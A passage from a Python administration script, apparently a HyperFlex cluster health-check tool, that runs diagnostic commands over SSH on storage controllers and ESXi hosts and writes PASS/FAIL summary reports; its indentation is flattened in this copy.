hostd[ip]["eth1"] = ("".join(eth1ip)).encode("ascii", "ignore")
except Exception as e:
log_msg(ERROR, str(e) + "\r")
# Get vmk0 and vmk1 IP Address
try:
# cmd = "/usr/share/springpath/storfs-misc/run-on-esxi.sh 'esxcfg-vmknic -l'"
# Get ESX IP
cmd = "/opt/springpath/storfs-mgmt-cli/getLocalNode.sh | grep 'esxiIP=' | cut -d= -f2"
op = execmd(cmd)
if op:
esxip = op[0]
hostd[ip]["esxip"] = str(esxip)
"""
for line in op:
if "vmk0" in line and "IPv4" in line:
m = re.search(r"([\d]{1,3}(.[\d]{1,3}){3})", line)
if m:
hostd[ip]["vmk0"] = str(m.group(1))
elif "vmk1" in line and "IPv4" in line:
m = re.search(r"([\d]{1,3}(.[\d]{1,3}){3})", line)
if m:
hostd[ip]["vmk1"] = str(m.group(1))
break
"""
except Exception as e:
log_msg(ERROR, str(e) + "\r")
except Exception as e:
msg = "\r\nNot able to establish SSH connection to HX Cluster: " + ip + "\r"
log_msg(INFO, msg)
log_msg("", msg)
log_msg(ERROR, str(e) + "\r")
finally:
client.close()
def get_vmk1(ip, hxusername, esxpassword, time_out):
esxip = hostd[ip]["esxip"]
if esxip != "":
try:
# Initiate SSH Connection
client.connect(hostname=esxip, username=hxusername, password=esxpassword, timeout=time_out)
msg = "\r\nSSH connection established to ESX Host: " + esxip + "\r"
log_msg(INFO, msg)
log_msg("", msg)
# Get vmk0 and vmk1 IP Address
try:
cmd = "esxcfg-vmknic -l"
op = execmd(cmd)
for line in op:
if "vmk0" in line and "IPv4" in line:
m = re.search(r"([\d]{1,3}(.[\d]{1,3}){3})", line)
if m:
hostd[ip]["vmk0"] = str(m.group(1))
elif "vmk1" in line and "IPv4" in line:
m = re.search(r"([\d]{1,3}(.[\d]{1,3}){3})", line)
if m:
hostd[ip]["vmk1"] = str(m.group(1))
break
except Exception as e:
log_msg(ERROR, str(e) + "\r")
except Exception as e:
msg = "\r\nNot able to establish SSH connection to ESX Host: " + esxip + "\r"
log_msg(INFO, msg)
log_msg("", msg)
log_msg(ERROR, str(e) + "\r")
finally:
client.close()
def cluster_services_check(ip):
# 1) stcli cluster info
cldict = {}
# Get Healthstate
cmd = "stcli cluster info | grep -i healthState: | cut -d: -f2"
op = execmd(cmd)
cldict["HealthState"] = "".join(op)
# Get State
cmd = "stcli cluster info | grep -i ^State: | cut -d: -f2"
op = execmd(cmd)
cldict["State"] = "".join(op)
log_msg(INFO, str(cldict) + "\r")
# 2) sysmtool --ns cluster --cmd healthdetail
cmd = "sysmtool --ns cluster --cmd healthdetail"
cl_health = execmd(cmd)
cl_health_reason = []
flag2 = flag3 = flag4 = 0
global nodes
nodes = ""
for line in cl_health:
if line.startswith("Cluster Health Detail:"):
flag2 = 1
continue
if flag2 == 1 and line.startswith("State:"):
s = str(line.split(": ")[-1]).lower()
if cldict["State"] == s:
pass
else:
cldict["State"] = s
continue
if flag2 == 1 and "HealthState:" in line:
h = str(line.split(": ")[-1]).lower()
if cldict["HealthState"] == h:
continue
else:
cldict["HealthState"] = h
flag3 = 1
if flag3 == 1 and "Health State Reason:" in line:
flag4 = 1
continue
if flag4 == 1:
if not line.startswith("#"):
break
else:
cl_health_reason.append(line)
if flag2 == 1 and "Current ensemble size:" in line:
nodes = line.strip().split(": ")[1]
break
log_msg(INFO, str(cldict) + "\r")
hostd[ip].update(cldict)
# 3) service_status.sh
cmd = "service_status.sh"
cl_service = execmd(cmd)
# pidof storfs
cmd = "pidof storfs"
op = execmd(cmd)
for line in op:
s = line.strip()
if s.isdigit():
cl_service.append("storfs {:>44}".format("... Running"))
else:
cl_service.append("storfs {:>44}".format("... Not Running"))
# pidof stMgr
cmd = "pidof stMgr"
op = execmd(cmd)
for line in op:
s = line.strip()
if s.isdigit():
cl_service.append("stMgr {:>45}".format("... Running"))
else:
cl_service.append("stMgr {:>45}".format("... Not Running"))
# pidof stNodeMgr
cmd = "pidof stNodeMgr"
op = execmd(cmd)
for line in op:
s = line.strip()
if s.isdigit():
cl_service.append("stNodeMgr {:>41}".format("... Running"))
else:
cl_service.append("stNodeMgr {:>41}".format("... Not Running"))
# 4) sysmtool --ns cluster --cmd enospcinfo
cmd = "sysmtool --ns cluster --cmd enospcinfo"
cl_space = execmd(cmd)
free_capacity = ""
ENOSPC_warning = ""
space_state = ""
enospc_state = ""
enospc_state_check = "FAIL"
for line in cl_space:
if "Free capacity:" in line:
free_capacity = line.strip().split(": ")[1]
if "ENOSPC warning:" in line:
ENOSPC_warning = line.strip().split(": ")[1]
if free_capacity[-1] == ENOSPC_warning[-1]:
if float(free_capacity[:-1]) >= float(ENOSPC_warning[:-1]):
space_state = "healthy"
else:
space_state = "unhealthy"
elif free_capacity[-1] == "T":
if (float(free_capacity[:-1]) * 1024) >= float(ENOSPC_warning[:-1]):
space_state = "healthy"
else:
space_state = "unhealthy"
elif free_capacity[-1] == "G":
if (float(free_capacity[:-1]) * 1024) >= float(ENOSPC_warning[:-1]):
space_state = "healthy"
else:
space_state = "unhealthy"
elif free_capacity[-1] == "M":
if (float(free_capacity[:-1]) * 1024 * 1024) >= float(ENOSPC_warning[:-1]):
space_state = "healthy"
else:
space_state = "unhealthy"
for line in cl_space:
if "Enospc state:" in line:
l = line.split(": ")
if len(l) == 2:
enospc_state = l[1]
if "ENOSPACE_CLEAR" in enospc_state.strip():
enospc_state_check = "PASS"
break
# 5) stcli cleaner info
cmd = "stcli cleaner info"
clop = execmd(cmd)
cl_cleaner_state = ""
# Get eth1 ip address
cmd = "ifconfig eth1 | grep 'inet addr:' | cut -d: -f2| cut -d' ' -f1"
op = execmd(cmd)
eth1ip = ""
if op:
eth1ip = op[0]
for line in clop:
if eth1ip in line or ip in line:
if "online" in line.lower():
cl_cleaner_state = "online"
elif "offline" in line.lower():
cl_cleaner_state = "offline"
break
# 6) Data Replication Factor
cmd = "stcli cluster info | grep 'dataReplicationFactor:' | tail -1 | cut -d: -f2"
op = execmd(cmd)
rf = ""
if op:
rf = op[0].strip()
# Update Test Detail info
testdetail[ip]["Cluster services check"] = OrderedDict()
# State
testdetail[ip]["Cluster services check"]["State"] = cldict["State"]
# HealthState
testdetail[ip]["Cluster services check"]["HealthState"] = cldict["HealthState"]
# Services
testdetail[ip]["Cluster services check"]["Services"] = cl_service
# Space state
testdetail[ip]["Cluster services check"]["Space State"] = space_state
# Enospc state
testdetail[ip]["Cluster services check"]["Enospc State"] = enospc_state
# Cleaner state
testdetail[ip]["Cluster services check"]["Cleaner Info"] = cl_cleaner_state
# Data Replication Factor
testdetail[ip]["Cluster services check"]["Replication Factor"] = rf
# Update Test summary
cluster_service_chk = "FAIL"
if cldict["State"] == "online":
cluster_service_chk = "PASS"
if cldict["HealthState"] == "healthy":
cluster_service_chk = "PASS"
for line in cl_service:
if "Springpath File System" in line and "Not" in line:
cluster_service_chk = "FAIL"
break
elif "SCVM Client" in line and "Not" in line:
cluster_service_chk = "FAIL"
break
elif "System Management Service" in line and "Not" in line:
cluster_service_chk = "FAIL"
break
elif line.startswith("Cluster IP Monitor") and "Not" in line:
cluster_service_chk = "FAIL"
break
testsum[ip].update({"Cluster services check": cluster_service_chk})
testsum[ip].update({"Enospc state check": enospc_state_check})
def zookeeper_check(ip):
# ZooKeeper and Exhibitor check
# echo srvr | nc localhost 2181
cmd = "echo srvr | nc localhost 2181"
zkl = execmd(cmd)
mode = ""
for line in zkl:
if "Mode:" in line:
mode = line.split(": ")[1]
# pidof exhibitor
cmd = "pidof exhibitor"
exhl = execmd(cmd)
exh_service = ""
exh_comm = []
zcond1 = 0
for line in exhl:
s = line.strip()
if s.isdigit():
exh_service = "exhibitor {:>32}".format("... Running")
else:
exh_service = "exhibitor {:>32}".format("... Not Running")
zcond1 = 1
if zcond1 == 1:
cmd = "ls /etc/springpath/*"
op = execmd(cmd)
exh_comm.append("Files in the path[/etc/springpath/*]")
for line in op:
exh_comm.append(line.strip())
cmd = "ls /opt/springpath/config/*"
op = execmd(cmd)
exh_comm.append("\nFiles in the path[/opt/springpath/config/*]")
for line in op:
exh_comm.append(line.strip())
# ls /etc/exhibitor/exhibitor.properties
cmd = "ls /etc/exhibitor/exhibitor.properties"
op = execmd(cmd)
prop_file = ""
for line in op:
if "exhibitor.properties" in line:
prop_file = "Exists"
else:
prop_file = "Not Exists"
# Epoch Issue
cmd = 'grep -m1 "" /var/zookeeper/version-2/acceptedEpoch'
op = execmd(cmd)
accepoch = "".join(op)
cmd = 'grep -m1 "" /var/zookeeper/version-2/currentEpoch'
op = execmd(cmd)
curepoch = "".join(op)
# Update Test Detail info
testdetail[ip]["ZooKeeper and Exhibitor check"] = OrderedDict()
# Mode
testdetail[ip]["ZooKeeper and Exhibitor check"]["Mode"] = mode
# Current ensemble size
testdetail[ip]["ZooKeeper and Exhibitor check"]["Current ensemble size"] = nodes
# Services
testdetail[ip]["ZooKeeper and Exhibitor check"]["Services"] = exh_service
# exhibitor.properties file
testdetail[ip]["ZooKeeper and Exhibitor check"]["exhibitor.properties file"] = prop_file
# Accepted Epoch value
testdetail[ip]["ZooKeeper and Exhibitor check"]["Accepted Epoch value"] = accepoch
# Current Epoch value
testdetail[ip]["ZooKeeper and Exhibitor check"]["Current Epoch value"] = curepoch
# Update Test summary
zoo_chk = "FAIL"
exh_chk = "FAIL"
if mode == "follower" or mode == "leader" or mode == "standalone":
zoo_chk = "PASS"
if "running" in exh_service.lower():
exh_chk = "PASS"
testsum[ip].update({"Zookeeper check": zoo_chk})
testsum[ip].update({"Exhibitor check": exh_chk})
def hdd_check(ip):
# HDD health check
# sysmtool --ns disk --cmd list
# sysmtool --ns disk --cmd list | grep -i claimed | wc -l
# Claimed Disks
cmd = "sysmtool --ns disk --cmd list | grep -i claimed | wc -l"
op = execmd(cmd)
cdsk = ""
for line in op:
cdsk = line.strip()
# sysmtool --ns disk --cmd list | grep -i blacklisted | wc -l
# Blacklisted Disks
cmd = "sysmtool --ns disk --cmd list | grep -i blacklisted | wc -l"
op = execmd(cmd)
bdsk = ""
for line in op:
bdsk = line.strip()
if bdsk != "":
cmd = "sysmtool --ns disk --cmd list"
opl = execmd(cmd)
flg1 = flg2 = 0
bdisklist = []
for line in opl:
if "UUID:" in line:
flg1 = 1
flg2 = 0
continue
if flg1 == 1 and "State:" in line and "BLACKLISTED" in line:
flg2 = 1
flg1 = 0
continue
if flg2 == 1 and "Path:" in line:
ln = line.split(": ")
if len(ln) == 2:
bdisklist.append(ln[1])
logger.info("Blacklisted Disks: " + ",".join(bdisklist) + "\r")
# sysmtool --ns disk --cmd list | grep -i ignored | wc -l
# Ignored Disks
cmd = "sysmtool --ns disk --cmd list | grep -i ignored | wc -l"
op = execmd(cmd)
idsk = ""
for line in op:
idsk = line.strip()
# Update Test Detail info
testdetail[ip]["HDD health check"] = OrderedDict()
# Claimed
testdetail[ip]["HDD health check"]["Claimed"] = cdsk
# Blacklisted
testdetail[ip]["HDD health check"]["Blacklisted"] = {"Status": bdsk, "Result": "\n".join(bdisklist)}
# Ignored
testdetail[ip]["HDD health check"]["Ignored"] = idsk
# Update Test summary
hd_chk = "PASS"
if int(bdsk) > int(cdsk):
hd_chk = "FAIL"
testsum[ip].update({"HDD health check": hd_chk})
# Pre-Upgrade Check
def pre_upgrade_check(ip):
# 1) Check HX Cluster version
cmd = "stcli cluster version"
hxvs = execmd(cmd)
# 2) NTP deamon running check
ntp_deamon_check = "FAIL"
cmd = "ps aux | grep ntp"
ntp_deamon = ""
op = execmd(cmd)
for line in op:
match = re.search(r"^ntp \s+\d+", line)
if match:
ntp_deamon = match.group()
ntp_deamon_check = "PASS"
msg = "\r\nNTP deamon running check: " + str(ntp_deamon) + "\r"
log_msg(INFO, msg)
# print(match.group())
# 3) NTP Sync Check
cmd = "ntpq -p -4"
ntpsl = execmd(cmd)
ntp_sync_check = "FAIL"
ntp_sync_line = ""
flag1 = 0
for line in ntpsl:
if "======" in line:
flag1 = 1
continue
if flag1 == 1:
msg = "\r\nNTP sync check: " + str(line) + "\r"
log_msg(INFO, msg)
l = line.split()
ntp_sync_line = l[0]
if line.startswith("*"):
ntp_sync_check = "PASS"
break
# 3) DNS check
cmd = "stcli services dns show"
op = execmd(cmd)
dnsip = ""
dns_check = "FAIL"
for line in op:
match = re.search(r"(?:\d{1,3}.){3}\d{1,3}", line)
if match:
dnsip = match.group()
msg = "\r\nDNS IP Address: " + str(dnsip) + "\r"
log_msg(INFO, msg)
if dnsip:
cmd = "ping {} -c 3 -i 0.01".format(dnsip)
op = execmd(cmd)
for line in op:
if "0% packet loss" in line:
dns_check = "PASS"
break
# Update Test summary
testsum[ip].update({"DNS check": dns_check})
# 4) vCenter Reachability check
cmd = "stcli cluster info | grep vCenterURL"
op = execmd(cmd)
vcenterip = ""
vcenter_check = "FAIL"
for line in op:
match = re.search(r"(?:\d{1,3}.){3}\d{1,3}", line)
if match:
vcenterip = match.group()
msg = "\r\nvCenter IP Address: " + str(vcenterip) + "\r"
log_msg(INFO, msg)
else:
try:
l = line.split(":")
if len(l) == 2:
dnip = l[1]
vcenterip = dnip.strip()
msg = "\r\nvCenter IP Address: " + str(vcenterip) + "\r"
log_msg(INFO, msg)
except Exception:
pass
if vcenterip:
cmd = "ping {} -c 3 -i 0.01".format(vcenterip)
op = execmd(cmd)
for line in op:
if "0% packet loss" in line:
vcenter_check = "PASS"
break
# Update Test summary
testsum[ip].update({"vCenter reachability check": vcenter_check})
testsum[ip].update({"Timestamp check": str(hostd[ip]["date check"])})
if ntp_deamon_check == "PASS" and hostd[ip]["ntp source check"] == "PASS" and ntp_sync_check == "PASS":
testsum[ip].update({"NTP sync check": "PASS"})
else:
testsum[ip].update({"NTP sync check": "FAIL"})
# 5) Check cluster usage
cmd = "stcli cluster storage-summary | grep -i nodeFailuresTolerable"
op = execmd(cmd)
op = "".join(op)
op = op.strip()
NFT = op.split(":")[1]
cmd = "stcli cluster storage-summary | grep -i cachingDeviceFailuresTolerable"
op = execmd(cmd)
op = "".join(op)
op = op.strip()
HFT = op.split(":")[1]
cmd = "stcli cluster storage-summary | grep -i persistentDeviceFailuresTolerable"
op = execmd(cmd)
op = "".join(op)
op = op.strip()
SFT = op.split(":")[1]
# 6) Check cache is spread across all controller
cmd = "nfstool -- -m | sort -u -k2"
cachl = []
op = execmd(cmd)
for line in op:
m = re.search(r"^\d+\s+([\d]{1,3}(.[\d]{1,3}){3})", line)
if m:
cachl.append(str(m.group(1)))
# print(cachl)
# 7) Cluster Upgrade status
cmd = "stcli cluster upgrade-status"
upst = "PASS"
op = execmd(cmd)
for line in op:
if "exception" in line or "Not able to run the command" in line:
upst = "FAIL"
break
# Update Test summary
testsum[ip].update({"Cluster upgrade status": upst})
# 8) Check any extra number of pnodes
cmd = "stcli cluster info | grep -i pnode -n2 | grep -i name | wc -l"
op = execmd(cmd)
op = "".join(op)
pnodes = int(op)
# cmd = "stcli cluster info | grep -i stctl_mgmt -n1 | grep -i addr | wc -l"
# op = execmd(cmd)
# op = "".join(op)
snodes = len(eth1_list)
nodecheck = "FAIL"
if pnodes == snodes:
nodecheck = "PASS"
testsum[ip].update({"Extra pnodes check": nodecheck})
# 9) Check Disk usage(/var/stv)
cmd = "df -h | grep -i /var/stv"
dskusg = ""
dskst = ""
op = execmd(cmd)
for line in op:
m = re.search(r"(\d+)%", line)
if m:
dskusg = m.group(1)
if int(dskusg) <= 80:
dskst = "Good"
testsum[ip].update({"Disk usage(/var/stv) check": "PASS"})
else:
dskst = "Bad"
testsum[ip].update({"Disk usage(/var/stv) check": "FAIL"})
# 10) check packages and versions
cmd = "dpkg -l | grep -i spring"
op = execmd(cmd)
check_package_version = []
for line in op:
check_package_version.append(line.replace(" " * 26, " "))
# check memory
cmd = "free -m"
check_memory = execmd(cmd)
# check CPU
cmd = "top -b -n 1 | grep -B7 KiB"
check_cpu = execmd(cmd)
if not check_cpu:
cmd = "top -b -n 1 | grep Cpu"
check_cpu = execmd(cmd)
# check Out of memory
# cmd = "cat /var/log/kern.log | grep -i 'out of memory' -A5"
cmd = "grep -i 'out of memory' -A5 /var/log/kern.log"
op = execmd(cmd)
if "Not able to run the command" in op:
check_oom = ["No issue"]
testsum[ip].update({"Out of memory check": "PASS"})
else:
check_oom = op
testsum[ip].update({"Out of memory check": "FAIL"})
# ESXi supported upgrade
cmd = "grep -i ^esxi.version /usr/share/springpath/storfs-fw/springpath-hcl.conf"
op = execmd(cmd)
svsp = []
if op:
for line in op:
if "esxi.version=" in line:
l = line.split("=")
if len(l) == 2:
vl = l[1]
svsp = vl.split(",")
testsum[ip].update({"Supported vSphere versions": str("\n".join(svsp))})
######################
# Update Test Detail info
testdetail[ip]["Pre-Upgrade check"] = OrderedDict()
# HX Cluster version
testdetail[ip]["Pre-Upgrade check"]["HX Cluster version"] = hxvs
# NTP deamon running
testdetail[ip]["Pre-Upgrade check"]["NTP deamon running"] = {"Status": ntp_deamon, "Result": ntp_deamon_check}
# NTP sync check
testdetail[ip]["Pre-Upgrade check"]["NTP sync check"] = {"Status": ntp_sync_line, "Result": ntp_sync_check}
# DNS check
testdetail[ip]["Pre-Upgrade check"]["DNS check"] = {"Status": dnsip, "Result": dns_check}
# vCenter reachability check
testdetail[ip]["Pre-Upgrade check"]["vCenter reachability check"] = {"Status": vcenterip, "Result": vcenter_check}
# Timestamp check
allhostdt = []
for i in sorted(hostd.keys()):
allhostdt.append(str(i) + " - " + str(hostd[i]["date"]))
testdetail[ip]["Pre-Upgrade check"]["Timestamp check"] = {"Status": str("\n".join(allhostdt)),
"Result": str(hostd[ip]["date check"])}
# Primary NTP Source check
allntpsrc = []
for p in sorted(hostd.keys()):
allntpsrc.append(str(p) + " : NTP IP - " + str(hostd[p]["ntp source"]))
testdetail[ip]["Pre-Upgrade check"]["Primary NTP Source check"] = {"Status": str("\n".join(allntpsrc)),
"Result": str(hostd[ip]["ntp source check"])}
# Cluster usage
testdetail[ip]["Pre-Upgrade check"]["Cluster Fault Tolerance"] = "Node Failures Tolerable:" + str(
NFT) + "\nHDD Failures Tolerable:" + str(HFT) + "\nSSD Failures Tolerable:" + str(SFT)
# Cache usage
testdetail[ip]["Pre-Upgrade check"]["Cache vNodes"] = str("\n".join(cachl))
# Cluster Upgrade
testdetail[ip]["Pre-Upgrade check"]["Cluster Upgrade Status"] = upst
# No extra pnodes
testdetail[ip]["Pre-Upgrade check"]["No extra pnodes"] = nodecheck
# Disk usage(/var/stv)
testdetail[ip]["Pre-Upgrade check"]["Disk usage(/var/stv)"] = {"Status": str(dskusg) + "%", "Result": dskst}
# Check package & versions
testdetail[ip]["Pre-Upgrade check"]["Check package & versions"] = str("\n".join(check_package_version))
# Check memory
testdetail[ip]["Pre-Upgrade check"]["Check memory"] = str("\n".join(check_memory))
# Check CPU
testdetail[ip]["Pre-Upgrade check"]["Check CPU"] = str("\n".join(check_cpu))
# Check Out of memory
testdetail[ip]["Pre-Upgrade check"]["Check Out of memory"] = str("\n".join(check_oom))
# Supported vSphere versions
testdetail[ip]["Pre-Upgrade check"]["Supported vSphere versions"] = str("\n".join(svsp))
def pingstatus(op):
pgst = "SUCCESS"
for line in op:
if "0 packets received" in line:
pgst = "FAIL"
return pgst
def network_check(ip):
try:
# Close connection
client.close()
except Exception:
pass
try:
esxip = hostd[ip]["esxip"]
if esxip != "":
# Initiate SSH Connection
client.connect(hostname=esxip, username=hxusername, password=esxpassword, timeout=time_out)
msg = "\r\nSSH connection established to ESX Host: " + esxip + "\r"
log_msg(INFO, msg)
# log_msg("", msg)
# Get all ESX and Storage Controller IP Address
opd = OrderedDict()
nwtestsum[esxip] = OrderedDict()
nwtestdetail[esxip] = OrderedDict()
# Check hx user created
try:
cmd = "esxcli system account list"
op = execmd(cmd)
hxac = "FAIL"
for line in op:
if "hxuser" in line:
hxac = "PASS"
opd.update({"HX User Account Created": hxac})
except Exception:
pass
# Check vMotion Enabled
try:
cmd = "esxcli network firewall ruleset list | grep -i vMotion"
op = execmd(cmd)
vmst = "FAIL"
for line in op:
if "vMotion" in line and "true" in line:
vmst = "PASS"
break
opd.update({"vMotion Enabled": vmst})
except Exception:
pass
# Check ESXi Version
try:
cmd = "vmware -l"
op = execmd(cmd)
opd.update({"ESX Version": op})
except Exception:
pass
# ESX vib list
try:
cmd = "esxcli software vib list| grep -i spring"
op = execmd(cmd)
nop = []
for line in op:
nop.append(line.replace(" " * 26, " "))
opd.update({"ESX Vib List": nop})
except Exception:
pass
# ESX Services
try:
cmd = "chkconfig --list | grep -E 'ntpd|hostd|vpxa|stHypervisorSvc|scvmclient|hxctlvm'"
op = execmd(cmd)
opd.update({"ESX Services": op})
except Exception:
pass
# Check for HX down during upgrade
try:
cmd = "esxcli system settings advanced list | grep TeamPolicyUpDelay -A2 | grep Int"
op = execmd(cmd)
check_HX_down_status = ""
for line in op:
if line.endswith(" 100"):
check_HX_down_status = "FAIL"
else:
check_HX_down_status = "PASS"
opd["Check for ESXI Failback timer"] = check_HX_down_status
except Exception:
pass
# vmk0 ping to each ESXi
# vmk0 ping to each ESXi vmk0
allpingchk = []
for h in esx_hostsl:
try:
cmd = "vmkping -I {} -c 3 -d -s 1472 -i 0.01 {}".format("vmk0", h)
op = execmd(cmd)
pst = pingstatus(op)
cm = "vmkping -I {} -c 3 -d -s 1472 -i 0.01 {}".format("vmk0", h)
opd.update({cm: pst})
allpingchk.append(pst)
except Exception:
pass
# vmk1 ping to each ESXi vmk1
if len(vmk1_list) > 0:
for k in vmk1_list:
try:
cmd = "vmkping -I {} -c 3 -d -s 8972 -i 0.01 {}'".format("vmk1", k)
op = execmd(cmd)
pst = pingstatus(op)
cm = "vmkping -I {} -c 3 -d -s 8972 -i 0.01 {}".format("vmk1", k)
opd.update({cm: pst})
allpingchk.append(pst)
except Exception:
pass
# vmk0 ping to each SCVM eth0
if len(hxips) > 0:
for h in hxips:
try:
cmd = "vmkping -I {} -c 3 -d -s 1472 -i 0.01 {}".format("vmk0", h)
op = execmd(cmd)
pst = pingstatus(op)
cm = "vmkping -I {} -c 3 -d -s 1472 -i 0.01 {}".format("vmk0", h)
opd.update({cm: pst})
allpingchk.append(pst)
except Exception:
pass
# vmk1 ping to each SCVM eth1
if len(eth1_list) > 0:
for k in eth1_list:
try:
cmd = "vmkping -I {} -c 3 -d -s 8972 -i 0.01 {}".format("vmk1", k)
op = execmd(cmd)
pst = pingstatus(op)
cm = "vmkping -I {} -c 3 -d -s 8972 -i 0.01 {}".format("vmk1", k)
opd.update({cm: pst})
allpingchk.append(pst)
except Exception:
pass
# vSwitch info of ESXi
try:
cmd = "esxcfg-vswitch -l"
op = execmd(cmd)
cm = "esxcfg-vswitch -l"
opd.update({cm: op})
except Exception:
pass
# Check extra contoller vm folders
try:
cmd = "esxcli hardware platform get | grep -i serial"
op = execmd(cmd)
op = "".join(op)
srno = op.split(":")[1]
cmd = "ls -d /vmfs/volumes/SpringpathDS-" + str(srno.strip())
op = execmd(cmd)
op = [x for x in op if x != ""]
vmfld = "PASS"
# print(len(op))
if op:
if len(op) > 1:
vmfld = "FAIL" + "\nBug: CSCvh99309" + "\ntz: https://techzone.cisco.com/t5/HyperFlex/How-to-fix-stCtlVM-s-duplicate-folder/ta-p/1174364/message-" + "\nrevision/1174364:1"
opd.update({"No extra controller vm folders": vmfld})
except Exception:
pass
nwtestdetail.update({esxip: opd})
# Close connection
client.close()
# Test summary
# HX User Account check
nwtestsum[esxip]["HX User Account check"] = hxac
# vMotion enabled check
nwtestsum[esxip]["vMotion enabled check"] = vmst
# Check for HX down during upgrade
# nwtestsum[esxip]["Check for HX down during upgrade"] = check_HX_down_status[:4]
nwtestsum[esxip]["Check for ESXI Failback timer"] = {"Status": check_HX_down_status,
"Result": "If Failed, Change the failback timer to 30secs" + "\nesxcli system settings advanced set -o /Net/TeamPolicyUpDelay --int-value 30000"}
# Check ping to vmk0, eth0, eth1
if "FAIL" in allpingchk:
nwtestsum[esxip]["Check ping to vmk0, eth0, eth1"] = "FAIL"
else:
nwtestsum[esxip]["Check ping to vmk0, eth0, eth1"] = "PASS"
# No extra controller vm folders check
nwtestsum[esxip]["No extra controller vm folders check"] = vmfld[:4]
except Exception as e:
msg = "\r\nNot able to establish SSH connection to ESX Host: " + esxip + "\r"
log_msg(INFO, msg)
# log_msg("", msg)
log_msg(ERROR, str(e) + "\r")
def create_sub_report(ip):
# create HX controller report file
global subreportfiles
filename = "HX_Report_" + str(ip) + ".txt"
subreportfiles.append(filename)
with open(filename, "w") as fh:
fh.write("\t\t\tHX Controller: " + ip)
fh.write("\r\n")
fh.write("#" * 80)
fh.write("\r\n")
n = 1
for cname in testdetail[ip].keys():
fh.write("\r\n" + str(n) + ") " + cname + ":")
fh.write("\r\n")
tw = PrettyTable(hrules=ALL)
tw.field_names = ["Name", "Status", "Comments"]
tw.align = "l"
for k, v in testdetail[ip][cname].items():
if type(v) == list:
tw.add_row([k, "\n".join(v), ""])
elif type(v) == dict:
tw.add_row([k, v["Status"], v["Result"]])
else:
tw.add_row([k, v, ""])
fh.write((str(tw)).replace("\n", "\r\n"))
fh.write("\r\n")
n += 1
# print("\r\nSub Report File: " + filename)
log_msg(INFO, "Sub Report File: " + filename + "\r")
def display_result():
# Display the test results
if arg == "detail":
print("")
for ip in testdetail.keys():
print("\r\n\t\t\tHX Controller: " + ip)
print("#" * 80)
n = 1
for cname in testdetail[ip].keys():
print("\r\n" + str(n) + ") " + cname)
td = PrettyTable(hrules=ALL)
td.field_names = ["Name", "Status", "Comments"]
td.align = "l"
for k, v in testdetail[ip][cname].items():
if type(v) == list:
td.add_row([k, "\n".join(v), ""])
elif type(v) == dict:
td.add_row([k, v["Status"], v["Result"]])
else:
td.add_row([k, v, ""])
print(td)
time.sleep(5)
n += 1
print("\r\n" + "#" * 80)
print("\r\t\t\tNetwork check:")
print("\r" + "#" * 80)
print("\r\nESX vmk0: " + ", ".join(esx_hostsl) + "\r")
print("\r\nESX vmk1: " + ", ".join(vmk1_list) + "\r")
print("\r\nSCVM eth0: " + ", ".join(hxips) + "\r")
print("\r\nSCVM eth1: " + ", ".join(eth1_list) + "\r")
for eip in nwtestdetail.keys():
print("\r\nESX Host: " + eip)
ed = PrettyTable(hrules=ALL)
ed.field_names = ["Command/Condition", "Response/Status", "Comments"]
ed.align = "l"
for k, v in nwtestdetail[eip].items():
if type(v) == list:
ed.add_row([k, "\n".join(v), ""])
elif type(v) == dict:
ed.add_row([k, v["Status"], v["Result"]])
else:
ed.add_row([k, v, ""])
print(ed)
time.sleep(5)
# Bug details table
print("\n\nBugs Detail:")
print(bgt)
time.sleep(5)
else:
print("")
for ip in testsum.keys():
print("\r\nHX Controller: " + ip)
print("\rTest Summary:")
ts = PrettyTable(hrules=ALL)
ts.field_names = ["Name", "Result", "Comments"]
ts.align = "l"
for k, v in testsum[ip].items():
if type(v) == list:
ts.add_row([k, "\n".join(v), ""])
elif type(v) == dict:
ts.add_row([k, v["Status"], v["Result"]])
else:
ts.add_row([k, v, ""])
print(ts)
print("\r\n" + "#" * 80)
print("\r\t\t\tNetwork check:")
print("\r" + "#" * 80)
print("\r\nESX vmk0: " + ", ".join(esx_hostsl) + "\r")
print("\r\nESX vmk1: " + ", ".join(vmk1_list) + "\r")
print("\r\nSCVM eth0: " + ", ".join(hxips) + "\r")
print("\r\nSCVM eth1: " + ", ".join(eth1_list) + "\r")
for eip in nwtestsum.keys():
print("\r\nESX Host: " + eip)
es = PrettyTable(hrules=ALL)
es.field_names = ["Name", "Result", "Comments"]
es.align = "l"
for k, v in nwtestsum[eip].items():
if type(v) == list:
es.add_row([k, "\n".join(v), ""])
elif type(v) == dict:
es.add_row([k, v["Status"], v["Result"]])
else:
es.add_row([k, v, ""])
print(es)
def create_main_report():
# create main report file
filename = "HX_Tool_Main_Report.txt"
with open(filename, "w") as fh:
fh.write("\t\t\tHX Health Check " + str(ver))
fh.write("\r\n")
fh.write("\t\t\tHX Tool Main Report:")
fh.write("\r\n")
fh.write("#" * 80)
fh.write("\r\n")
fh.write("HX Cluster Nodes:")
fh.write("\r\n")
fh.write((str(ht)).replace("\n", "\r\n"))
fh.write("\r\n")
for sfile in subreportfiles:
with open(sfile, "r") as fh:
content = fh.read()
with open(filename, "a") as fh:
fh.write("#" * 80)
fh.write("\r\n")
fh.write(content)
with open(filename, "a") as fh:
fh.write("\r\n")
fh.write("#" * 80)
fh.write("\r\n\t\t\t Network check:" + "\r")
fh.write("\r\n")
fh.write("#" * 80)
fh.write("\r\n")
fh.write("vmk0: " + ", ".join(esx_hostsl))
fh.write("\r\n")
fh.write("vmk1: " + ", ".join(vmk1_list))
fh.write("\r\n")
fh.write("eth0: " + ", ".join(hxips))
fh.write("\r\n")
fh.write("eth1: " + ", ".join(eth1_list))
fh.write("\r\n")
for host in sorted(nwtestdetail.keys()):
fh.write("\r\nESX Host: " + host + "\r")
t4 = PrettyTable(hrules=ALL)
t4.field_names = ["Command", "Response", "Comments"]
t4.align = "l"
for k, v in nwtestdetail[host].items():
if type(v) == list:
t4.add_row([k, "\n".join(v), ""])
else:
t4.add_row([k, v, ""])
fh.write("\r\n")
fh.write((str(t4)).replace("\n", "\r\n"))
fh.write("\r\n")
fh.write("\r\n")
fh.write("\r\nBugs Detail:" + "\r\n")
fh.write((str(bgt)).replace("\n", "\r\n"))
fh.write("\r\n")
print("\r\nMain Report File: " + filename)
##############################################################################
# Main
##############################################################################
if __name__ == "__main__":
# Log file declaration
log_file = "HX_Tool_" + get_date_time() + ".log"
log_name = "HX_TOOL"
log_start(log_file, log_name, INFO)
# RSA_KEY_FILE = "/etc/ssh/ssh_host_rsa_key"
# HX Script version
global ver
ver = 8.0
print("\n\t\t HX Health Check " + str(ver))
